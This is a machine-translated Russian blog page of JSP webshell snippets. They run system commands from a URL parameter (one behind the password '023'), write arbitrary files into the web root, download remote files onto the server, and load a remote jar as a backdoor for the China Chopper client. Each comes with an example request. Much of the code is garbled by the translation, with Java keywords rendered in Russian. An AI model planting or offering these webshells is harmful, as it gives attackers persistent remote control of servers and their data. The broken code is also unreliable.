|
|
Опубликовано 02.01.2015 18:46:57
|
|
|
|

Переведён из: http://p2j.cn/?p=1627 1. Выполнять системные команды: Выполнять системные команды без эхо: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Запрос: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Эхо после запуска не будет, что очень удобно для отскоковых оболочков. Есть отголоски при проверке пароля: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; байт[] b = новый байт[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Запрос: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Закодировать строку и записать её в указанный файл: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%> Запрос: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Записать в веб-каталог: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Запрос: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Запрос: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Записать в веб-каталог: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Запрос: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Скачайте удалённый файл (если не использовать Apache Io utils, нельзя преобразовать входящий поток в байт, так что он очень длинный...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); байт[] b = новый байт[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; в то время как (a = в.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Запрос: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Скачать на веб-путь: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); байт[] b = новый байт[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; в то время как (a = в.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Запрос: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Четвёртое: Отражение вызывает внешний банк, совершенство — заднюю дверь Если вам не нравится, что функция бэкдора слишком слабая и устарела, попробуйте следующее: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Запрос: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Подключение кухонного ножа: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, пароль 023.
Решение: Используйте отражение, чтобы загрузить внешний jar в текущее приложение, и отражение выполнит результат обработки выхода. request.getParameterMap() содержит все запрашиваемые параметры. Поскольку загрузился внешний jar-пакет, сервер должен иметь доступ к этому jar-адресу. |
Предыдущий:Кризис, стоящий за текстовым файлом TXTСледующий:Шифрование Java MD5, шифрование Base64 и расшифровка Java выполняет исходный код команд системы
|